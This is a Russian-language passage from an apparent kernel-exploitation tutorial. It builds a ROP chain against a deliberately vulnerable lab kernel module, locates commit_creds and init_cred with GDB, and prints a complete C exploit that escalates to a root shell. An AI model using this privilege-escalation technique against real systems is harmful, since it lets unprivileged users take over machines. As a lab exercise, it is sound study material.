6318223673d8b54ec67bc3e6e8befcb5.png

Как было упо­мяну­то, про­исхо­дит сме­щение сте­ка на 32 бай­та, но 8 байт из них — обыч­ный ret в кон­це vuln_write. Это озна­чает, что стек поломан на 24 бай­та. Для того что­бы его выров­нять, нам надо про­пус­тить три инс­трук­ции pop. Хотя у нас и есть какой‑то код перед эти­ми инс­трук­циями, нам при­дет­ся им пре­неб­речь, потому что выбора у нас осо­бо нет. Запоми­наем адрес 4-й инс­трук­ции pop: тут это pop r13. Имен­но на него мы и будем пры­гать пос­ле vuln_write. Наконец‑то мы готовы к написа­нию экс­пло­ита.

ЭКСПЛОИТ

Пе­ред тем как перей­ти к даль­нейшим дей­стви­ям, убе­дись, что в rootfs.img уста­нов­лен GCC и тек­сто­вый редак­тор, нап­ример Vim. Это необ­ходимо сде­лать вне QEMU, потому что в QEMU нет интерне­та и нель­зя уста­новить эти пакеты.

Достаем адреса

Нам нуж­но дос­тать пару адре­сов, а имен­но адрес init_cred и commit_creds. Для это­го в GDB выпол­ним коман­ды print &init_cred и print commit_creds и получим их адре­са.

Сам эксплоит

Пи­сать мы будем на С, что дос­таточ­но оче­вид­но для экс­плу­ата­ции ядра. Для начала нам надо открыть /dev/vuln толь­ко для записи. Туда мы и будем писать буфер с полез­ной наг­рузкой. Полез­ная наг­рузка сос­тоит из 136 сим­волов A или любых дру­гих, пос­ле чего идут по поряд­ку адре­са pop rdi ; retinit_credcommit_creds и адрес воз­вра­та pop r12.

Важ­но заметить, что адре­са будут записа­ны в обратном поряд­ке: нап­ример, если у init_cred адрес 0xffffffff8244d2a0, то он будет записан как \xa0\xd2\x44\x82\xff\xff\xff\xff. Это про­исхо­дит потому, что x86_64 явля­ется архи­тек­турой little-endian. Пос­ле под­готов­ки полез­ной наг­рузки мы дол­жны записать ее в /dev/vuln. В резуль­тате у про­цес­са‑экс­пло­ита дол­жны быть пра­ва супер­поль­зовате­ля. Поэто­му, что­бы мы получи­ли шелл от име­ни рута, выпол­ним коман­ду execve("/bin/bash", 0, 0);. Код дол­жен получить­ся при­мер­но таким:

#include <stdio.h>

#include <fcntl.h>

int main(){

unsigned char* kekw = malloc(168);

memcpy(kekw, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x00\x81\xff\xff\xff\xff\xa0\xd2\x44\x82\xff\xff\xff\xff\x40\x45\x08\x81\xff\xff\xff\xff\x23\x22\x1d\x81\xff\xff\xff\xff", 168);

int fd = open("/dev/vuln", O_WRONLY);

write(fd, kekw, 168);

execve("/bin/bash", NULL, NULL);

}

Запуск эксплоита

Убеж­даем­ся, что сидим от неп­ривиле­гиро­ван­ного поль­зовате­ля. Залоги­нив­шись под поль­зовате­лем user, ком­пилиру­ем экс­пло­ит с помощью GCC, запус­каем и… Видим, что запус­тился bash от име­ни супер­поль­зовате­ля. При этом рут не вла­деет бинар­ником и на нем не сто­ит setuid-бит, что доказы­вает: взлом про­исхо­дит имен­но в ядре.

dc39e48bda59ba4a17a50f43ae5bd59e.png

ИТОГИ

Со­берем воеди­но то, что мы научи­лись делать:

 

  1. Соб­рали ядро с дебаг‑сим­волами.
  2. На­учи­лись писать модуль и пра­виль­но его ком­пилиро­вать.
  3. Соб­рали rootfs, с которой ядро будет запус­кать­ся.
  4. На­писа­ли неболь­шие oneshot-модули для systemd.
  5. На­учи­лись дебажить ядро с помощью GDB.
  6. Уз­нали о прин­ципе ROP.
  7. Вос­поль­зовались этим при­емом для того, что­бы взло­мать ядро.

Ко­неч­но, это очень малень­кий шаг в экс­плу­ата­ции реаль­ного ядра. Как я упо­минал, если бы у ядра был KASLR или Stack protector, экс­плу­ата­ция была бы невоз­можна либо про­исхо­дила слож­нее. Но это опыт, который в любом слу­чае понадо­бит­ся хакеру, инте­ресу­юще­муся этой темой.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei